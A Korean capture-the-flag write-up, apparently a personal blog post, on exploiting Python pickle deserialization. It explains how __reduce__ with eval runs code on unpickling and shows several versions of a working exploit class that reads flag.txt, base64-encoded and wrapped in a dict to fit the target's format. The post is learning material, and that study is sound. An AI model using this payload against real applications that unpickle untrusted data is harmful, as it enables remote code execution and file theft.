Python(pickle)의 Deserialize 취약점을 이용해 플래그를 획득하라고 한다.
https://2nan.tistory.com/109 (pickle 모듈) : 파이썬 자료형을 그대로 파일에 저장하는 모듈
import pickle
t = pickle.dumps('hello')
print(t)
print(pickle.loads(t))

pickle 모듈은 직렬화를 제공한다. 직렬화란 간단히 말해서 현재 가지고 있는 데이터를 그 형태 그대로 저장하는 것이다.
문제는 pickle.load에서 사용하는 reduce 함수에서 발생한다.
reduce 함수는 튜플을 반환하는 함수인데 eval을 사용한다. eval은 매개변수를 명령어로 실행하는 함수이기에 명령어를 전달하게 되면 load 과정에서 해당 명령어가 실행된다.



create session에서 만든 값을 check session에 저장하면 load된 결과값을 알려준다.
그러려면 reduce 메소드의 리턴 값을 print(FLAG)로 바꿔야 하는데 여기서 바꿀 수가 있나...?
근데 궁금한게 내가 넣은 값이 print(FLAG)라면 역직렬화 과정에서 이게 실행이 돼야 하는거 아닌가

그럼 이건 왜 안 되냐.

튜플로 반환이 되어야 함수(값)으로 pickle이 인식해서 내부에서 실행한다.
https://chatgpt.com/g/g-FvT4UOsoA-caesgpt/c/67adbc34-98c4-8009-a808-73d892bead8c (앞에 다른 질문이 섞여있긴 하지만 흐린눈^^)
이래나 저래나 우리가 얻을 수 있는 건 dict의 pickle 값이기 때문에 임의로 튜플의 pickle 값을 얻어야 한다.
그리고 일단 pickle 값을 입력하면 그걸 그대로 역직렬화하기 때문에 pickle 값만 얻으면 해결된다.
import pickle, base64
class Exploit:
def __reduce__(self):
cmd = "print(FLAG)"
return (__builtins__.eval, (cmd,))
print(base64.b64encode(pickle.dumps(Exploit())).decode('utf8'))
여기서 얻은 값을 그대로 넣었는데 아무것도 안 뜬다.
아 print(FLAG)는 python 함수고 반환값은 없어서...ㅋㅋㅋㅋ 당연히 None일 수 밖에 없지.
import pickle, base64
class Exploit:
def __reduce__(self):
cmd = "open('./flag.txt', 'r').read()"
return (__builtins__.eval, (cmd,))
print(base64.b64encode(pickle.dumps(Exploit())).decode('utf8'))
뭐야 왜 아직도 안 돼. 내 flag 내놔요.
결국 답답해서 찾아보니 이렇게 기존 데이터와 형식을 맞춰서 보내줘야 한다.
그런데 아무리 봐도 app.py에서는 데이터 형식 맞추라는 조건 없었는데...
웹 공부는 해본 적이 없어서 어려웠다. 공부해봐야겠다.
import pickle, base64
class Exploit:
def __reduce__(self):
cmd = "open('./flag.txt', 'r').read()"
return (__builtins__.eval, (cmd,))
rs = {'name':Exploit()}
print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))